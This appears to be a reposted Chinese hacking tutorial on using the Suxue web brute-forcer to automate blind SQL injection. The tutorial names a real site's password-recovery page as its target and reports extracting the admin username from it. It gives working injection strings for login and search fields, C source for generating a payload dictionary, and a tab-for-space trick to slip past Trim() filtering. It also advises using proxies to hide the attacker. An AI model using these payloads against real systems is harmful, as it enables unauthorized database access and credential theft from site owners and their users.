介绍生物资讯,实验基础,核酸试验,蛋白试验,动植物,生物芯片,微生物,细胞生物学,医学健康,资源下载,其他资料,生物学试验方案方法知识的网站
网站地图本站论坛
高级搜索收藏本站
 
 当前位置:试验方案>实验基础>检索技术> 正文

溯雪在SQL Injection中的应用

点击:   作者:   来源:  时间: 2007-11-05  本站论坛


适合读者:脚本入侵爱好者、黑器迷
前置知识:溯雪基本使用方法
脚本小子:溯雪是小榕在2000年10月发布的一个基于WEB的探测器,主要用于对一些网页上的登陆入口进行暴力破解,原来曾经一度是大家破解邮箱的好工具。由于现在网页一般都采取了数字验证码的方法,溯雪便失去了当日的风采。但是当我们将它使用在SQL Injection中时,却会收到已想不到的效果。只能说经典的工具永远经典啊(这句话好象有点饶口令的意味)。

溯雪在SQL Injection中的应用

看到这个题目相信大家都会觉得很奇特吧?溯雪竟然还没被淘汰,而且和现在最新的脚本攻击又结合到一起?是不是很难让人相信?虽然很难相信,可这毕竟是真的。在这里就不吊大家胃口了,正式开始!

先介绍一下溯学在SQL Injection中的优势:

◆它是一个免费产品,对穷穷的小菜们来说是最欢迎的。
◆支持Proxy,包括需要身份认证的Proxy,这对隐藏自己是非常有好处的。
◆探测过程更加稳定,不会出现假死现象。
◆Favorites和IE集成,同步更新。

我们接着来分析它在SQL Injection中应用的可行性。SQL Injection是指注入我们提交的需要查询的作为过滤的变量,从而实现跨表、跨库查询,一般我们是注入提交的表单项实现,这个方法不会在服务器上留下任何日志,安全性很高,尤其在注入文章搜索等变量的时候,有着其它工具所不可超越的优点,因为我们可以自定义注入的内容,这样就有了更多的灵活性,而且网上也没有自动注入站内搜索变量的相关工具。

鉴于它的使用的灵活性,我先以国内知名的黑客软件下载站:小风居网站(http://www.chinesehack.org)为目标进行注入测试。首先来到这个页面:
http://www.chinesehack.org/member/getpass.asp
这里是会员找回密码的地方,我们输入“’”确定,就会发生Http500服务器内部错误,初步判断这里存在SQL Injection的漏洞。下面就是手工猜解表名和字段名了,由于这里服务器对变量的特殊处理,我们用其它的工具,如NBSI2,WED等都是无法猜解的,即使我们构造提交地址如:http://www.chinesehack.org/member/getpass.asp?usermane=1也是无法成功的,那究竟怎么办呢?
我们先猜解表名,在输入框里输入:
1’ or exists(select * from admin) and ’1

当我们得到“密码恢复第二步: 请输入你的密码提示问题答案”的提示的时候,说明存在Admin这个字段,如果我们输入“1’ or exists(select * from users) and ’1”返回发生Http500服务器内部错误,说明不存在Users这个表。
根据这样的方法,很容易就得到Admin表中的User和Pass这两个字段。

好了,关键的地方到了,我们现在可以开始猜解帐号和密码了。由于没有现成的工具,我们手工注入,猜解详细帐户密码需要花费很长的时间,我们就使用溯雪来帮我们吧!首先我们需要一个包含注入语句的字典,我们可以用简单的用C语言直接编写一个生成注入语句的程序。程序的源码如下:

#include%26lt;stdio.h%26gt;
#include%26lt;string.h%26gt;
#include%26lt;conio.h%26gt;
main()
{
FILE *fp;
char string1[100];
char string2[100];
int i,max,min;
printf(%26quot;enter inject words:\n%26quot;);
gets(string1);
printf(%26quot;enter the min number:%26quot;);
scanf(%26quot;%d%26quot;,%26amp;min);
printf(%26quot;enter the max number:%26quot;);
scanf(%26quot;%d%26quot;,%26amp;max);
getchar();
printf(%26quot;enter the last word:\n%26quot;);
gets(string2);
fp=fopen(%26quot;injection.txt%26quot;,%26quot;w%26quot;);
if(fp==NULL){printf(%26quot;can not open inject.txt%26quot;);exit(0);}
for(i=min;i%26lt;=max;i++)
{
fprintf(fp,%26quot;%s%26quot;,string1);
fprintf(fp,%26quot;%d%26quot;,i);
fprintf(fp,%26quot;%s%26quot;,string2);
fputc(’\n’,fp);
}
close(fp);
printf(%26quot;make successful!\npress any key to exit%26quot;);getch();
}

我们把它编译连接成可执行文件,先用此工具生成一个注入字典,字典文件为此工具当前目录下生成Inject.txt的内容,如下:

1’ or (select top 1 asc(mid(user,1,1)) from Admin)=32 and ’1
1’ or (select top 1 asc(mid(user,1,1)) from Admin)=33 and ’1
1’ or (select top 1 asc(mid(user,1,1)) from Admin)=34 and ’1
……
1’ or (select top 1 asc(mid(user,1,1)) from Admin)=122 and ’1

其中ASCii码的范围我们可以自定义。
好了,字典准备好了,我们打开溯雪,进入http: //www.chinesehack.org/member/getpass.asp页面,然后提取表单,双击左下方的Username,在弹出的对话框中选取Directory,填上我刚才生成的字典文件Inject.txt,然后确定。选择RUN菜单中的Start,填入:“没有该用户名,请注册新用户!”这个错误标志,然后溯雪就开始运行了(如果不会使用溯雪的朋友可以到http://www.netxeyes.com下载一下详细的使用帮助)。

很快我们就得到用户名的第一个字符ASCii码为108,也就是l,这样用户名第一个字符我们就这样得到了,比手工可快多了吧!同理,我们可以得到剩下的字符,我得到的是lilitou,大家可以参考一下自己猜出来的结果是不是一样的。接着就是对密码的破解了,原理一样,由于他的密码是MD5加密的,我没有继续破下去,大家得到也没有多大的用处,我这里只是说明这个方法而已。
下面我说一下对站内搜索变量的注入方法,首先在查询框中输入“’”,提交看有没有注入漏洞,一般发生服务器内部错误或者数据库包错等都表明存在注入漏洞。我们这样构造注入语句,先输入常用的字符让它查询到一些信息,比如输入1,然后开始注入:
1%’ and exists(select * from admin) and ’%1
返回刚才查询到的信息表明存在此表,同理:
1%’ and exists(select username from admin) and ’%1
猜解字段,剩下的工作交给溯雪摆平。其实溯雪强大的功能在于它对返回信息的判断,它可以通过判断返回的HTTP状态码如200,500,404等进行区别,而且能够解决一些其它软件根本无法注入的变量,如Tpye=%26quot;hidden%26quot;的变量,更重要的是我们有着更大的灵活性去构造注入语句。

另外我们可以使用溯雪来注入通过Trim()函数过滤空格的变量,方法是生成字典时用TAB键来代替空格,或者将生成的字典用UltraEdit打开选 Hex编辑,查找20替换成0A(ascii码为10代表tab),用这个字典即可成功注入(我在网上Down的动力文章Access版本v3.5好象只是过滤掉了空格)。

溯雪其实还有许多其它的用法,不愧是经典黑软,长盛不衰,大家发挥想象力去开发它的其它功能吧!

上一篇:免费检索SCI的五种方法   下一篇:cnki帐号、密码破解秘笈


 
推荐文章
 
相关文章
推荐专题
 


↑返回顶部   打印本页   关闭窗口↓  
 本站申明 联系我们 网站地图
Copyright© 试验方案

Powered by DedeCms email:htmyth#yahoo.com.cn QQ:386836509

Optimized to 1024x768 to Firefox,Opera and MS-IE6